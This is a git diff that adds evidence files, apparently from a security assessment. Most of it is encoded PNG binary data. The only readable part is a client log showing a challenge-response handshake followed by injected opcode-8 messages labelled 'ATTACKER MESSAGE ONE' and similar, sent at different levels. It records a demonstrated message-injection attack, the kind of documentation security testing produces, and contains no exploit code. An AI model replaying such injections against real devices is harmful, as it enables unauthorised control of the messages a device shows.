zf`vj}W&2VIx)18q%WR5_oASC5NQO9$W3i8K9O%M+HI%Q4d~FEgZ(t6f$JT^lwKun7 zvqv4vn4Alufs$G^m67nO)-^2D=wE}}VO(ZdBskNinjiEH(qDV-VV&zDvFA-~(Wuux z{MQ%{lX^F%5>+|2rRF}=;&LrAWAK>t(}st}C9m9ngUYzgNTmF`8Xq!&PQZUbNH?i& zzM!%w6uSE`wU`p|@t$74w6R~%=j`Z{jJc&4Z<>W3_9Y)a#Vg@6LHZRr#ol@pwT zno!WXZ6H4Tt}A}UwEfQl_TM?c*{RHGawYEFz@8@-Zi%)c4V&bPXbv9O-m%xRf2p7w zxMVrl?y?7ScOwb~*LL6AkzLil^(=Z30(kN}=j#!D za}$a^D1=(SRxCIJ!)7Zga(&K7whI`0UcdZ>v02sAU80s;3p&o8qeWPL)q$&8DYd(C ze2yg(n@HMEZOku&L@t2^0wJ zQkJJw#zD{oGs@2&~XCe<+xWgy-DD@ z@<`YwsX8iak+plUXv3nwf;!Jvoo6KUdD7^w5A%xDl?gY+sJl5q{Djwt)7I|IqAn|J zrmusyE)VBWVva!pe=a+2lom*ld}!k>0@-lF1G!E4GsUIOJy0`peh;uUwpZ4Vh(AtG zOC%w}(7m)Ry!gJ+T4KZ&V6DzsrmI83ytS8DNZeZn{fDv%(!Ivrb@}tErc@*xsL1@8 z@;0e7scEtI*rrI}kI_Pq2Ss-6Eb3{+>L!H(1hE$Fd5gb&?&f*-#P(O%wI+p#kJ`h3 z*zMMC?b+G2-9+^M+mIy<%xdF-I@YTC5dj|m0Z9~drnq7aD#G=4@utJ{*q?4Br2GVg zSiO(+Jh#5uDui{Zy<{8uOO$9;!pPPLD~H%njE8I8p=2ByYix_r^+)8?L~)-lZ$34p z!Zj!{Bn&!~m|CZ5+n=YHb9hZg{Ct^IwDKi}QMZHFsJP~AM{?Iej%hmzjgJeMtD=Ne zm$lc>^GzZ52qdotE#4Ih9rqblkG4?_t0PfsnQ46n(Au2yGc*A3&o zq_`^2m8TOu4p|}iFX-}R4$>Ew0HHsoOo22w30Yq-Opc2}#gLu!4)RAEcJeA?O7^@J znx)>sL9}z#R^z#e2YZpyp!OSJAXJwP`$foz**2QJvF<5Ijeb}JYfCdj$ghQv?fii&a~kTHKlQVQfreZjwv$1 z34h%9*IB?IK`7Yoa(#V`NvfhIc6iAAM;OSL%W+koK79V^w4_*#Pvp_C5Uj&7Ejwn0 z#8~y*zUAP}O6KnSxS6{k!{(>y`Q_7^;K}F+f8Vd)cowY8SB^S(^BRk&t%=xha^gF- zit~bw`$Slk>o%(BJvZcv{1Lh6l1G`nHzH8Kz1-Qntf>Tf{oORQW9C2Z-$l6E_AxB2 z@-TO6c5zdA<%e4J#_n|Sbxpe)K0_dJP{XidlWekD^ zz1K;S-gEH&6{*Q}uSrmaK0<;tY2>pASsVsMvFa$Y)Df94Fxd=!x-S4x^we9T{u(k! z8(!uLBc&*2ksiq({HvgC!e7K;GK{m%+V~AWl_41Z6$v6Xcgx1M&fFY(M?5F@8zTum z_@SU1D4Nx{rDpb(W=^%ucATP_oB8C32d_bINzFK(xZc70FJWkhr}T)rcUwKQuu||C zZeG3kh)2G5z#Gookovtbdi>aLMG=7Z5e}-x0I?ceDBuCwjtl``@+3`hv*$&x;-K

jlfOl$x3$%EoF~V@E{!CH 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 Kt^Dr$pZ*t4=MS3z literal 0 HcmV?d00001 diff --git a/dwt/evidence/visual/msg_client.log b/dwt/evidence/visual/msg_client.log new file mode 100644 index 0000000..9377b26 --- /dev/null +++ b/dwt/evidence/visual/msg_client.log @@ -0,0 +1,14 @@ +[+] challenge fa 9c 30 b0 00 00 2f e1 02 64 a8 c0 fa 94 30 b1 +[+] reply 82 b7 8f ab e1 35 b5 55 b3 73 7d 30 92 96 86 c6 +opcode 7 -> flag=0x00 payload=44 6f 6e 65 0a 00 (b'Done\n\x00') +[.] snapshot trigger msg2_before x1 every 0 +[>] opcode 8 body 00 00 00 00 00 00 00 15 41 54 54 41 43 4b 45 52 20 4d 45 53 53 41 47 45 20 4f 4e 45 00 +[.] snapshot trigger msg2_send1 x4 every 2 +[.] message 1 level=0 b'ATTACKER MESSAGE ONE': Done +[>] opcode 8 body 00 00 00 00 00 00 00 10 52 44 45 42 55 47 20 54 45 58 54 20 54 57 4f 00 +[.] snapshot trigger msg2_send2 x4 every 2 +[.] message 2 level=0 b'RDEBUG TEXT TWO': Done +[>] opcode 8 body 00 00 00 03 00 00 00 15 4c 45 56 45 4c 20 54 48 52 45 45 20 54 45 52 54 49 41 52 59 00 +[.] snapshot trigger msg2_send3 x4 every 2 +[.] message 3 level=3 b'LEVEL THREE TERTIARY': Done +[.] snapshot trigger msg2_persist x4 every 30 diff --git a/dwt/evidence/visual/msg_levels_crop.png b/dwt/evidence/visual/msg_levels_crop.png new file mode 100644 index 0000000000000000000000000000000000000000..51f25973645c52b6d963c0ae6d07e7c597b621ca GIT binary patch literal 1241 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 